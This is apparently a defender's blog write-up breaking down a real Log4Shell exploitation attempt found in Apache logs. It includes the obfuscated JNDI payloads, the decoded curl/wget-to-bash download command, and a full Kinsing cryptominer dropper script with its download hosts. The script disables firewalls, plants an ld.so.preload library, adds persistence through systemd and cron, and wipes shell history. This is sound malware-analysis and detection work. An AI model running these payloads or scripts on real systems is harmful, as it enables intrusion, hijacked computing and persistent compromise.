Log4J Vulnerability Exploit Attempt Breakdown

I'd like to share a little breakdown of one from many attempts to exploit the recently disclosed Log4J vulnerability allowing remote code execution (RCE) that I'm detecting on my systems. Since the vulnerability is well known, I won't bore you with yet another introduction to the CVE itself.

Disclamer

DO NOT DOWNLOAD, EXECUTE OR USE ANY OF THE FOLLOWING IN ANY WAY.

The following text includes malicious scripts/code and links to malware. Use of the code or malware can be illegal and execution of it is dangerous.

The purpose of this article is purely educational. It describes how an illegal and malicous attack can be detected and observed from the perspective of a targeted system.

I take no responsibility for any damage caused by the software or for any illegal use of the information.


Access Log

To look for Log4J exploitation attempts we need to take a look at the access log of our web server.

Here is an Apache2 access log entry of an attempt to exploit the insecure JNDI lookup which a vulnerable version of Log4J would allow:

195.54.160.149 - - [31/Dec/2021:23:55:15 +0000] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjQuOTAuMTk4LjUzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2NC45MC4xOTguNTM6ODApfGJhc2g=} HTTP/1.1" 403 199 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjQuOTAuMTk4LjUzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2NC45MC4xOTguNTM6ODApfGJhc2g=}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjQuOTAuMTk4LjUzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2NC45MC4xOTguNTM6ODApfGJhc2g=}"

Log Entry Explanation

Let's take the log entry apart.

First we see the attacker's host address 195.54.160.149. This is where the attack is coming from.

After the timestamp we can see that the attacker uses a GET request with the following path:

/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjQuOTAuMTk4LjUzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2NC45MC4xOTguNTM6ODApfGJhc2g=}

The request path can look different as it depends on the software or method used to exploit the vulnerability. What you want to look for, though, is the ${jndi:ldap part. This part is common for most of the attacks.

You can grep for ${jndi in your web server logs to see if your host is being targeted.

We can see that the attacker is also using the following useragent:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjQuOTAuMTk4LjUzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2NC45MC4xOTguNTM6ODApfGJhc2g=}

It's just another way to pass the exploit to Log4J.


Request Path Examination

The most interesting part of the log entry is the request path.

/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjQuOTAuMTk4LjUzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2NC45MC4xOTguNTM6ODApfGJhc2g=}

We can see that right after the problematic ${jndi:ldap:// part, which triggers the insecure JNDI lookup, there's the attacker's IP address 195.54.160.149 with port specified to 12344.

Next, the LDAP request path follows:

/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjQuOTAuMTk4LjUzOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2NC45MC4xOTguNTM6ODApfGJhc2g=

Here's where it gets a bit more interesting.


Meet JNDIExploit

The /Basic/Command/Base64 part of the request path tells us that the attacker is using a tool called JNDIExploit. This tool can be found online, but it is being actively deleted from Github and similar platforms.

The tool provides an attacker with multiple options when it comes to the exploitation. The request paths for different JNDIExploit payload options include:

Note that those are just a few examples.

The tool does this by dynamically generating a Java class that executes the selected command, hosting this class and sending the class location as a response of the LDAP query.


Base64 Encoded Command

Now we know what is the attacker using for his attempts to perform RCE on the target system. What is the attacker trying to execute, though?

Let's decode the Base64 encoded command and take a look.

!!! WARNING: DO NOT EXECUTE THIS ON ANY OF YOUR SYSTEMS !!!

(curl -s 195.54.160.149:5874/164.90.198.53:80||wget -q -O- 195.54.160.149:5874/164.90.198.53:80)|bash

The attacker is trying to run curl or if that fails run wget. Both download utilities are switched to silent/quiet mode, their output is set to stdout and are executed against the URL: 195.54.160.149:5874/164.90.198.53:80.

The URL might look a little confusing to some, so let's break it down just in case.

The URL consists of two parts: 195.54.160.149:5874 and /164.90.198.53:80. The latter is just a regular path. It could be /index.html for example.

The URL points to the host from which the attack is coming on port 5874 and the path is actually the target host address with port 80. Basically, whatever runs on that 5874 port gets the vulnerable target host address and port as an argument and returns a malicious bash script.

The attacker is then executing the file downloaded directly via bash without saving it on the target system by using pipe.


Payload Script

What would be executed on the target system if the exploitation was successful?

!!! WARNING: DO NOT EXECUTE THIS ON ANY OF YOUR SYSTEMS !!!

#!/bin/bash

ulimit -n 65535

chattr -i /etc/ld.so.preload
rm -f /etc/ld.so.preload
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
ufw disable
iptables -F
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
ROOTUID="0"

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -s /usr/bin/curl ]; then
  echo "found curl"
elif [ -s /usr/bin/wget ]; then
  echo "found wget"
else
  echo "found none"
  if [ "$(id -u)" -ne "$ROOTUID" ] ; then
    echo "not root"
  else
    apt-get update
    apt-get install -y curl
    apt-get install -y wget
    apt-get install -y cron
  fi
fi


SERVICE_NAME="bot"
BIN_NAME="kinsing"
SO_NAME="libsystem.so"
BIN_PATH="/etc"
if [ "$(id -u)" -ne "$ROOTUID" ] ; then
  BIN_PATH="/tmp"
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    echo "$BIN_PATH not exists or not writeable"
    mkdir /tmp
  fi
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    echo "$BIN_PATH replacing with /var/tmp"
    BIN_PATH="/var/tmp"
  fi
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    TMP_DIR=$(mktemp -d)
    echo "$BIN_PATH replacing with $TMP_DIR"
    BIN_PATH="$TMP_DIR"
  fi
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    echo "$BIN_PATH replacing with /dev/shm"
    BIN_PATH="/dev/shm"
  fi
  if [ -e "$BIN_PATH/$BIN_NAME" ]; then
    echo "$BIN_PATH/$BIN_NAME exists"
    if [ ! -w "$BIN_PATH/$BIN_NAME" ]; then
      echo "$BIN_PATH/$BIN_NAME not writeable"
      TMP_BIN_NAME=$(head -3 /dev/urandom | tr -cd '[:alnum:]' | cut -c -8)
      BIN_NAME="kinsing_$TMP_BIN_NAME"
    else
      echo "writeable $BIN_PATH/$BIN_NAME"
    fi
  fi
fi
BIN_FULL_PATH="$BIN_PATH/$BIN_NAME"
echo "$BIN_FULL_PATH"

BIN_MD5="648effa354b3cbaad87b45f48d59c616"
BIN_DOWNLOAD_URL="http://194.40.243.149/kinsing"
BIN_DOWNLOAD_URL2="http://194.40.243.149/kinsing"
CURL_DOWNLOAD_URL="http://194.40.243.149/curl-amd64"

SO_FULL_PATH="$BIN_PATH/$SO_NAME"
SO_DOWNLOAD_URL="http://194.40.243.149/libsystem.so"
SO_DOWNLOAD_URL2="http://194.40.243.149/libsystem.so"
SO_MD5="ccef46c7edf9131ccffc47bd69eb743b"


LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
  LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
  LDR="wget -q -O -"
fi

if [ -x "$(command -v curl)" ]; then
  WGET="curl -o"
elif [ -x "$(command -v wget)" ]; then
  WGET="wget -O"
else
  curl -V || __curl "$CURL_DOWNLOAD_URL" > /usr/local/bin/curl; chmod +x /usr/local/bin/curl
  /usr/local/bin/curl -V && WGET="/usr/local/bin/curl -o"
  /usr/local/bin/curl -V || __curl "$CURL_DOWNLOAD_URL" > $HOME/curl; chmod +x $HOME/curl
  $HOME/curl -V && WGET="$HOME/curl -o"
  $HOME/curl -V || __curl "$CURL_DOWNLOAD_URL" > $BIN_PATH/curl; chmod +x $BIN_PATH/curl
  $BIN_PATH/curl -V && WGET="$BIN_PATH/curl -o"
fi
echo "wget is $WGET"

ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
if [ $? -eq 0 ]; then
  rm -rf $BIN_FULL_PATH
  rm -rf $SO_FULL_PATH
  rm -rf $BIN_PATH/kdevtmpfsi
  rm -rf $BIN_PATH/libsystem.so
  rm -rf /tmp/kdevtmpfsi
  echo "found /dev"
else
  echo "not found /dev"
fi

download() {
  DOWNLOAD_PATH=$1
  DOWNLOAD_URL=$2
  if [ -L $DOWNLOAD_PATH ]
  then
    rm -rf $DOWNLOAD_PATH
  fi
  if [[ -d $DOWNLOAD_PATH ]]
  then
    rm -rf $DOWNLOAD_PATH
  fi
  chmod 777 $DOWNLOAD_PATH
  $WGET $DOWNLOAD_PATH $DOWNLOAD_URL
  chmod +x $DOWNLOAD_PATH
}

checkExists() {
  CHECK_PATH=$1
  MD5=$2
  sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
  retval=""
  if [ "$MD5" = "$sum" ]; then
    echo >&2 "$CHECK_PATH is $MD5"
    retval="true"
  else
    echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
    retval="false"
  fi
  echo "$retval"
}

getSystemd() {
  AUTOSTART_PATH=$1
  echo "[Unit]"
  echo "Description=Start daemon at boot time"
  echo "After="
  echo "Requires="
  echo "[Service]"
  echo "Type=forking"
  echo "RestartSec=10s"
  echo "Restart=always"
  echo "TimeoutStartSec=5"
  echo "ExecStart=$AUTOSTART_PATH"
  echo "[Install]"
  echo "WantedBy=multi-user.target"
}

kill(){
  ps aux | grep "agetty" | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
  pkill -f 42.112.28.216
  netstat -anp | grep "207.38.87.6" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  netstat -anp | grep "127.0.0.1:52018" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  netstat -anp | grep "34.81.218.76:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  netstat -anp | grep "42.112.28.216:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  pkill -f .git/kthreaddw
  pkill -f 80.211.206.105
  pkill -f 207.38.87.6
  pkill -f p8444
  pkill -f supportxmr
  pkill -f monero
  pkill -f kthreaddi
  pkill -f srv00
  pkill -f /tmp/.javae/javae
  pkill -f .javae
  pkill -f .syna
  pkill -f .main
  pkill -f xmm
  pkill -f solr.sh
  pkill -f /tmp/.solr/solrd
  pkill -f /tmp/javac
  pkill -f /tmp/.go.sh
  pkill -f /tmp/.x/agetty
  pkill -f /tmp/.x/kworker
  pkill -f c3pool
  pkill -f /tmp/.X11-unix/gitag-ssh
  pkill -f /tmp/1
  pkill -f /tmp/okk.sh
  pkill -f /tmp/gitaly
  pkill -f /tmp/.x/kworker
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  pkill -f /tmp/.X11-unix/supervise
  pkill -f /tmp/.ssh/redis.sh
  ps aux| grep "./udp"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  cat /tmp/.X11-unix/01|xargs -I % kill -9 %
  cat /tmp/.X11-unix/11|xargs -I % kill -9 %
  cat /tmp/.X11-unix/22|xargs -I % kill -9 %
  cat /tmp/.pg_stat.0|xargs -I % kill -9 %
  cat /tmp/.pg_stat.1|xargs -I % kill -9 %
  cat $HOME/data/./oka.pid|xargs -I % kill -9 %
  pkill -f zsvc
  pkill -f pdefenderd
  pkill -f updatecheckerd
  pkill -f cruner
  pkill -f dbused
  pkill -f bashirc
  pkill -f meminitsrv
  ps aux| grep "./oka"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  ps aux| grep "postgres: autovacum"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  ps ax -o command,pid -www| awk 'length($1) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey|grep -v kinsing| awk '{print $2}'|xargs -I % kill -9 %
  ps ax -o command,pid -www| awk 'length($1) == 16'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $2}'|xargs -I % kill -9 %
  ps ax| awk 'length($5) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $1}'|xargs -I % kill -9 %
  ps aux | grep -v grep | grep '/tmp/sscks' | awk '{print $2}' | xargs -I % kill -9 %
}

kill
autoinit() {
  getSystemd $BIN_FULL_PATH >/lib/systemd/system/$SERVICE_NAME.service
  systemctl enable $SERVICE_NAME
  systemctl start $SERVICE_NAME
}

so() {
  soExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
  if [ "$soExists" == "true" ]; then
    echo "$SO_FULL_PATH exists and checked"
  else
    echo "$SO_FULL_PATH not exists"
    download $SO_FULL_PATH $SO_DOWNLOAD_URL
    binExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
    if [ "$soExists" == "true" ]; then
      echo "$SO_FULL_PATH after download exists and checked"
    else
      echo "$SO_FULL_PATH after download not exists"
      download $SO_FULL_PATH $SO_DOWNLOAD_URL2
      binExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
      if [ "$soExists" == "true" ]; then
        echo "$SO_FULL_PATH after download2 exists and checked"
      else
        echo "$SO_FULL_PATH after download2 not exists"
      fi
    fi
  fi
  echo $SO_FULL_PATH >/etc/ld.so.preload
}

cleanCron() {
  crontab -l | sed '/base64/d' | crontab -
  crontab -l | sed '/_cron/d' | crontab -
  crontab -l | sed '/31.210.20.181/d' | crontab -
  crontab -l | sed '/update.sh/d' | crontab -
  crontab -l | sed '/logo4/d' | crontab -
  crontab -l | sed '/logo9/d' | crontab -
  crontab -l | sed '/logo0/d' | crontab -
  crontab -l | sed '/logo/d' | crontab -
  crontab -l | sed '/tor2web/d' | crontab -
  crontab -l | sed '/jpg/d' | crontab -
  crontab -l | sed '/png/d' | crontab -
  crontab -l | sed '/tmp/d' | crontab -
  crontab -l | sed '/zmreplchkr/d' | crontab -
  crontab -l | sed '/aliyun.one/d' | crontab -
  crontab -l | sed '/3.215.110.66.one/d' | crontab -
  crontab -l | sed '/pastebin/d' | crontab -
  crontab -l | sed '/onion/d' | crontab -
  crontab -l | sed '/lsd.systemten.org/d' | crontab -
  crontab -l | sed '/shuf/d' | crontab -
  crontab -l | sed '/ash/d' | crontab -
  crontab -l | sed '/mr.sh/d' | crontab -
  crontab -l | sed '/185.181.10.234/d' | crontab -
  crontab -l | sed '/localhost.xyz/d' | crontab -
  crontab -l | sed '/45.137.151.106/d' | crontab -
  crontab -l | sed '/111.90.159.106/d' | crontab -
  crontab -l | sed '/github/d' | crontab -
  crontab -l | sed '/bigd1ck.com/d' | crontab -
  crontab -l | sed '/xmr.ipzse.com/d' | crontab -
  crontab -l | sed '/185.181.10.234/d' | crontab -
  crontab -l | sed '/146.71.79.230/d' | crontab -
  crontab -l | sed '/122.51.164.83/d' | crontab -
  crontab -l | sed '/newdat.sh/d' | crontab -
  crontab -l | sed '/lib.pygensim.com/d' | crontab -
  crontab -l | sed '/t.amynx.com/d' | crontab -
  crontab -l | sed '/update.sh/d' | crontab -
  crontab -l | sed '/systemd-service.sh/d' | crontab -
  crontab -l | sed '/pg_stat.sh/d' | crontab -
  crontab -l | sed '/sleep/d' | crontab -
  crontab -l | sed '/oka/d' | crontab -
  crontab -l | sed '/linux1213/d' | crontab -
  crontab -l | sed '/#wget/d' | crontab -
  crontab -l | sed '/#curl/d' | crontab -
  crontab -l | sed '/zsvc/d' | crontab -
  crontab -l | sed '/givemexyz/d' | crontab -
  crontab -l | sed '/world/d' | crontab -
  crontab -l | sed '/1.sh/d' | crontab -
  crontab -l | sed '/3.sh/d' | crontab -
  crontab -l | sed '/workers/d' | crontab -
  crontab -l | sed '/oracleservice/d' | crontab -
}

binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" == "true" ]; then
  echo "$BIN_FULL_PATH exists and checked"
else
  echo "$BIN_FULL_PATH not exists"
  download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
  binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
  if [ "$binExists" == "true" ]; then
    echo "$BIN_FULL_PATH after download exists and checked"
  else
    echo "$BIN_FULL_PATH after download not exists"
    download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
    binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
    if [ "$binExists" == "true" ]; then
      echo "$BIN_FULL_PATH after download2 exists and checked"
    else
      echo "$BIN_FULL_PATH after download2 not exists"
    fi
  fi
fi

so
if [ -L /tmp/kdevtmpfsi ]
then
  rm -rf /tmp/kdevtmpfsi
fi
rm -rf /tmp/kdevtmpfsi
chmod 777 $BIN_FULL_PATH
chmod +x $BIN_FULL_PATH
SKL=ae $BIN_FULL_PATH

if [[ $(id -u) -ne 0 ]]; then
  echo "Running as not root"
else
  echo "Running as root"
  autoinit
fi

cleanCron

crontab -l | grep -e "185.191.32.198" | grep -v grep
if [ $? -eq 0 ]; then
  echo "cron good"
else
  (
    crontab -l 2>/dev/null
    echo "* * * * * $LDR http://185.191.32.198/ae.sh | bash > /dev/null 2>&1"
  ) | crontab -
fi

history -c
rm -rf ~/.bash_history
history -c

Meet Kinsing

I won't go line by line what the script above does. Let's take a look at the following part of the script:

!!! WARNING: DO NOT DOWNLOAD OR EXECUTE ON ANY OF YOUR SYSTEMS !!!

BIN_MD5="648effa354b3cbaad87b45f48d59c616"
BIN_DOWNLOAD_URL="http://194.40.243.149/kinsing"
BIN_DOWNLOAD_URL2="http://194.40.243.149/kinsing"
CURL_DOWNLOAD_URL="http://194.40.243.149/curl-amd64"

SO_FULL_PATH="$BIN_PATH/$SO_NAME"
SO_DOWNLOAD_URL="http://194.40.243.149/libsystem.so"
SO_DOWNLOAD_URL2="http://194.40.243.149/libsystem.so"
SO_MD5="ccef46c7edf9131ccffc47bd69eb743b"

As we can see, the script is ready to download another software to the target system. What you see above is set of variables containing information needed to __download binaries of curl-amd64 (in case it's not present on the target system), libsystem.so shared library and finally the kinsing binary itself (linked with the provided libsystem.so).

Kinsing is a cryptocurrency miner malware written in GoLang. It's function is to mine cryptocurrency and spread itself throughout hosts on the target network.

You can read more about Kinsing here or just look it up online.


Fail2Ban

!!! THIS WILL NOT PROTECT A VULNERABLE SYSTEM !!!

So, let's say we have a system that we know is not vulnerable and we would like to do something about those attempts.

While the exploit won't work, it's still unwanted traffic, right?

This is where Fail2Ban can help. There's many articles on how to configure Fail2Ban filter online, so I won't create another duplicate of these and provide you with a link to gist where you can find the configuration.

Fail2Ban will know about the attack AFTER the attack occured. Your system will already be compromised if vulnerable when Fail2Ban learns about the attack. Therefore, this is NOT A FIX FOR THE VULNERABILITY itself.


Written by UncleAlbie